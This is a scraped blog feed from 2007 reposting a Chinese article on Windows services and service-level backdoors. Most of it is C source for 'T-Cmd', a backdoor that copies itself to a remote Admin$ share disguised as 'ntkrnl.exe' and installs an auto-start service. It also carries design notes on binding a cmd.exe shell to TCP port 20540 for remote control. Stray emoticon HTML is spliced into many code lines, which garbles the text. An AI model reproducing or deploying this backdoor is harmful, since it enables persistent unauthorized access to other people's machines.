border="0"></a>;&nbsp;<br>hSearch=FindFirstFile(lpImagePath,&amp;FileData);&nbsp;<br>if(hSearch==INVALID_HANDLE_VALUE)&nbsp;<br>{&nbsp;<br>GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);&nbsp;<br>if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)&nbsp;<br>{&nbsp;<br>dwErrorCode=GetLastError();&nbsp;<br>if(dwErrorCode==5)&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;...&nbsp;Access&nbsp;is&nbsp;Denied&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("already&nbsp;Exists&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>FindClose(hSearch);&nbsp;<br>}&nbsp;<br><br>schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);&nbsp;<br>if(schSCManager==NULL)&nbsp;<br>{&nbsp;<br>printf("Open&nbsp;Service&nbsp;Control&nbsp;Manager&nbsp;Database&nbsp;Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>printf("Creating&nbsp;Service&nbsp;....&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,&nbsp;<br>SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,&nbsp;<br>SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);&nbsp;<br>if(schService==NULL)&nbsp;<br>{&nbsp;<br>dwErrorCode=GetLastError();&nbsp;<br>if(dwErrorCode!=ERROR_SERVICE_EXISTS)&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>CloseServiceHandle(schSCManager);&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("already&nbsp;Exists&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);&nbsp;<br>if(schService==NULL)&nbsp;<br>{&nbsp;<br>printf("Opening&nbsp;Service&nbsp;....&nbsp;Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>CloseServiceHandle(schSCManager);&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>printf("Starting&nbsp;Service&nbsp;....&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>if(StartService(schService,0,NULL)==0)&nbsp;<br>{&nbsp;<br>dwErrorCode=GetLastError();&nbsp;<br>if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)&nbsp;<br>{&nbsp;<br>printf("already&nbsp;Running&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>CloseServiceHandle(schSCManager);&nbsp;<br>CloseServiceHandle(schService);&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Pending&nbsp;...&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>while(QueryServiceStatus(schService,&amp;InstallServiceStatus)!=0)&nbsp;<br>{&nbsp;<br>if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)&nbsp;<br>{&nbsp;<br>Sleep(100);&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>break;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>CloseServiceHandle(schSCManager);&nbsp;<br>CloseServiceHandle(schService);&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>void&nbsp;RemoveCmdService(char&nbsp;*lpHost)&nbsp;<br>{&nbsp;<br>SC_HANDLE&nbsp;schSCManager;&nbsp;<br>SC_HANDLE&nbsp;schService;&nbsp;<br>char&nbsp;lpImagePath[MAX_PATH];&nbsp;<br>char&nbsp;*lpHostName;&nbsp;<br>WIN32_FIND_DATA&nbsp;FileData;&nbsp;<br>SERVICE_STATUS&nbsp;RemoveServiceStatus;&nbsp;<br>HANDLE&nbsp;hSearch;&nbsp;<br>DWORD&nbsp;dwErrorCode;&nbsp;<br><br>if(lpHost==NULL)&nbsp;<br>{&nbsp;<br>GetSystemDirectory(lpImagePath,MAX_PATH);&nbsp;<br>strcat(lpImagePath,"\\ntkrnl.exe"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>lpHostName=NULL;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>sprintf(lpImagePath,"\\\\%s\\Admin＄\\system32\\ntkrnl.exe",lpHost);&nbsp;<br>lpHostName=(char&nbsp;*)malloc(MAX_PATH);&nbsp;<br>sprintf(lpHostName,"\\\\%s",lpHost);&nbsp;<br>}&nbsp;<br><br>schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);&nbsp;<br>if(schSCManager==NULL)&nbsp;<br>{&nbsp;<br>printf("Opening&nbsp;SCM&nbsp;.........&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>dwErrorCode=GetLastError();&nbsp;<br>if(dwErrorCode!=5)&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failuer&nbsp;...&nbsp;Access&nbsp;is&nbsp;Denied&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);&nbsp;<br>if(schService==NULL)&nbsp;<br>{&nbsp;<br>printf("Opening&nbsp;Service&nbsp;.....&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>dwErrorCode=GetLastError();&nbsp;<br>if(dwErrorCode==1060)&nbsp;<br>{&nbsp;<br>printf("no&nbsp;Exists&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>CloseServiceHandle(schSCManager);&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Stopping&nbsp;Service&nbsp;....&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>if(QueryServiceStatus(schService,&amp;RemoveServiceStatus)!=0)&nbsp;<br>{&nbsp;<br>if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)&nbsp;<br>{&nbsp;<br>printf("already&nbsp;Stopped&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Pending&nbsp;...&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>if(ControlService(schService,SERVICE_CONTROL_STOP,&amp;RemoveServiceStatus)!=0)&nbsp;<br>{&nbsp;<br>while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)&nbsp;<br>{&nbsp;<br>Sleep(10);&nbsp;<br>QueryServiceStatus(schService,&amp;RemoveServiceStatus);&nbsp;<br>}&nbsp;<br>if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Query&nbsp;Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>printf("Removing&nbsp;Service&nbsp;....&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>if(DeleteService(schService)==0)&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>}&nbsp;<br><br>CloseServiceHandle(schSCManager);&nbsp;<br>CloseServiceHandle(schService);&nbsp;<br><br>printf("Removing&nbsp;File&nbsp;.......&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>Sleep(1500);&nbsp;<br>hSearch=FindFirstFile(lpImagePath,&amp;FileData);&nbsp;<br>if(hSearch==INVALID_HANDLE_VALUE)&nbsp;<br>{&nbsp;<br>printf("no&nbsp;Exists&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>if(DeleteFile(lpImagePath)==0)&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>FindClose(hSearch);&nbsp;<br>}&nbsp;<br><br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>void&nbsp;Start()&nbsp;<br>{&nbsp;<br>printf("\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("\t\t---[&nbsp;T-Cmd&nbsp;v1.0&nbsp;beta,&nbsp;by&nbsp;TOo2y&nbsp;]---\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("\t\t---[&nbsp;E-mail:&nbsp;TOo2y@safechina.net&nbsp;]---\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("\t\t---[&nbsp;HomePage:&nbsp;www.safechina.net&nbsp;]---\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("\t\t---[&nbsp;Date:&nbsp;02-05-2003&nbsp;]---\n\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>void&nbsp;Usage()&nbsp;<br>{&nbsp;<br>printf("Attention:\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;Be&nbsp;careful&nbsp;with&nbsp;this&nbsp;software,&nbsp;Good&nbsp;luck&nbsp;!\n\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("Usage&nbsp;Show:\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Help\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Install&nbsp;[RemoteHost]&nbsp;[Account]&nbsp;[Password]\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Remove&nbsp;[RemoteHost]&nbsp;[Account]&nbsp;[Password]\n\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("Example:\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Install&nbsp;(Install&nbsp;in&nbsp;the&nbsp;localhost)\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Remove&nbsp;(Remove&nbsp;in&nbsp;the&nbsp;localhost)\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Install&nbsp;192.168.0.1&nbsp;TOo2y&nbsp;123456&nbsp;(Install&nbsp;in&nbsp;192.168.0.1)\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Remove&nbsp;192.168.0.1&nbsp;TOo2y&nbsp;123456&nbsp;(Remove&nbsp;in&nbsp;192.168.0.1)\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>printf("&nbsp;T-Cmd&nbsp;-Install&nbsp;192.168.0.2&nbsp;TOo2y&nbsp;NULL&nbsp;(NULL&nbsp;instead&nbsp;of&nbsp;no&nbsp;password)\n\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;&nbsp;<br>
<div name="blog_sub_st" id="blog_sub_st"><br></div>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28501.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:08 <a href="http://www.cppblog.com/mydriverc/articles/28501.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅析Win2K/XP服务与后门技术-2 [转]</title><link>http://www.cppblog.com/mydriverc/articles/28500.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:06:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28500.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28500.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28500.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28500.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28500.html</trackback:ping><description><![CDATA[三、Windows服务与编程&nbsp;<br><br>　　Windows服务编程包括几方面的内容，下面我们将从服务控制程序，服务程序和服务配置程序的角度介绍服务编程相关的内容。&nbsp;<br><br>　　1.服务控制程序&nbsp;<br><br>　　执行服务控制程序的相关函数前，我们需要获得一个服务对象的句柄，方式有两种：由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄；使用OpenService或CreateService函数来获得某个服务对象的句柄。&nbsp;<br><br>
启动服务：要启动一个服务，服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定，那需要等待一定的时间然后再次测试
StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时，那么
dwCurrentState参数将会返回SERVICE_RUNNING值。&nbsp;<br><br>　　服务控制请求：服务控制程序使用
ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令，可以是系统默认的，也可以是用户自定
义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时，在返回的
dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受
SERVICE_CONTROL_INTERROGATE命令。&nbsp;<br><br>　　2.服务程序&nbsp;<br><br>　　一个服务程序内可以包含一个服务或多个服务的执行代码，但是它们都拥有固定的三个部分：服务main函数，服务ServiceMain函数和服务Control&nbsp;Handler函数。&nbsp;<br><br>
服务main函数：服务程序通常是以控制台的方式存在的，所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时，会等待
StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用
StartServiceCtrlDispatcher函数的执行；如果服务类型是SERVICE_WIN32_SHARE_PROCESS，通常在初始
化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构，它包含
了进程内所有服务的名称和服务入口点。&nbsp;<br><br>　　服务ServiceMain函数：函数ServiceMain是服务的入口点。在服务控制程
序请求一个新的服务启动时，服务控制管理器启动一个服务，并发送一个开始请求到控制调度程序，而后控制调度程序创建一个新线程来执行
ServiceMain函数。ServiceMain须执行以下的任务：调用RegisterServiceCtrlHandler函数注册一个
HandlerEx函数来向服务发送控制请求信息，返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用
SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后，就是执行服务所要完成的任务。&nbsp;<br><br>　　服务
Control&nbsp;Handler函数：每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程
序所调用。无论何时在HandlerEx函数被调用时，都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统
时，所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收
NSERVICE_CONTROL_SHUTDOWN控制代码。&nbsp;<br><br>　　3.服务配置程序&nbsp;<br><br>　　服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前，必须获得一个服务对象的句柄，当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。&nbsp;<br><br>　　创建，删除服务：服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务，它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。&nbsp;<br><br>　　四、服务级后门技术&nbsp;<br><br>
在你进入某个系统后，往往会为自己留下一个或多个后门，以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时，总是希望后门仍然存在。那么，
将后门程序创建成服务程序应该是个不错的想法，这就是利用了服务程序自动运行的机制，当然在Windows2000的任务管理器里也很难结束一个服务程序
的进程。&nbsp;<br><br>　　创建一个后门，它常常会在一个端口监听，以方便我们使用TCP/UDP协议与远程主机建立连接，所以我们首先需要在后门程序里创建一个监听的端口，为了数据传输的稳定与安全，我们可以使用TCP协议。&nbsp;<br><br>
那么，我们如何才能模拟一个Telnet服务似的后门呢？我想大家都清楚，如果在远程主机上有一个Cmd是我们可以控制的，也就是我们可以在这个Cmd
里执行命令，那么就可以实现对远程主机的控制了，至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多，有WinExec,
ShellExecute,CreateProcess等，但只能使用CreateProcess，因为WinExec和ShellExecute它们实
在太简单了。在使用CreateProcess时，要用到它的重定向标准输入/输出的选项功能，把在本地主机的输入重定向输入到远程主机的Cmd进程，并
且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信
(Inter-Process&nbsp;Communication，IPC)。当然，还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送，我们选
择TCP协议的send和recv函数。在客户结束访问后，还要调用TerminateProcess来结束创建的Cmd进程。&nbsp;<br><br>　　五、关键函数分析&nbsp;<br><br>　　本文相关程序T-Cmd&nbsp;v1.0是一个服务级的后门程序，适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门，无须使用任何额外的命令，支持本地/远程模式。重启后，程序仍然自动运行，监听端口20540/tcp。&nbsp;<br><br>　　1.自定义数据结构与函数&nbsp;<br><br>typedef&nbsp;struct&nbsp;<br>{&nbsp;<br>HANDLE&nbsp;hPipe;&nbsp;<br>//为实现进程间通信而使用的管道；&nbsp;<br>SOCKET&nbsp;sClient;&nbsp;<br>//与客户端进行通信时的客户端套接字；&nbsp;<br>}SESSIONDATA,*PSESSIONDATA;&nbsp;<br>//重定向Cmd标准输入/输出时使用的数据结构；&nbsp;<br><br>typedef&nbsp;struct&nbsp;PROCESSDATA&nbsp;<br>{&nbsp;<br>HANDLE&nbsp;hProcess;&nbsp;<br>//创建Cmd进程时获得的进程句柄；&nbsp;<br>DWORD&nbsp;dwProcessId;&nbsp;<br>//创建Cmd进程时获得的进程标识符；&nbsp;<br>struct&nbsp;PROCESSDATA&nbsp;*next;&nbsp;<br>//指向下一个数据结构的指针；&nbsp;<br>}PROCESSDATA,*PPROCESSDATA;&nbsp;<br>//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构；&nbsp;<br><br>void&nbsp;WINAPI&nbsp;CmdStart(DWORD,LPTSTR&nbsp;*);&nbsp;<br>//服务程序中的&#8220;ServiceMain&#8221;：注册服务控制句柄，创建服务主线程；&nbsp;<br>void&nbsp;WINAPI&nbsp;CmdControl(DWORD);&nbsp;<br>//服务程序中的&#8220;HandlerEx&#8221;：处理接收到的控制命令，删除已创建的Cmd进程；&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;CmdService(LPVOID);&nbsp;<br>//服务主线程，创建服务监听端口，在接受客户连接时，创建重定向Cmd标准输入/输出线程；&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;CmdShell(LPVOID);&nbsp;<br>//创建管道与Cmd进程，及Cmd的输入/输出线程；&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;ReadShell(LPVOID);&nbsp;<br>//重定向Cmd的输出，读取信息后发送到客户端；&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;WriteShell(LPVOID);&nbsp;<br>//重定向Cmd的输入，接收客户端的信息输入到Cmd进程；&nbsp;<br>BOOL&nbsp;ConnectRemote(BOOL,char&nbsp;*,char&nbsp;*,char&nbsp;*);&nbsp;<br>//如果选择远程模式，则须与远程主机建立连接，注须提供管理员权限的用户名与密码，密码为空时用"NULL"代替；&nbsp;<br>void&nbsp;InstallCmdService(char&nbsp;*);&nbsp;<br>//复制传送文件，打开服务控制管理器，创建或打开服务程序；&nbsp;<br>void&nbsp;RemoveCmdService(char&nbsp;*);&nbsp;<br>//删除文件，停止服务后，卸载服务程序；&nbsp;&nbsp;<br><br><br>　　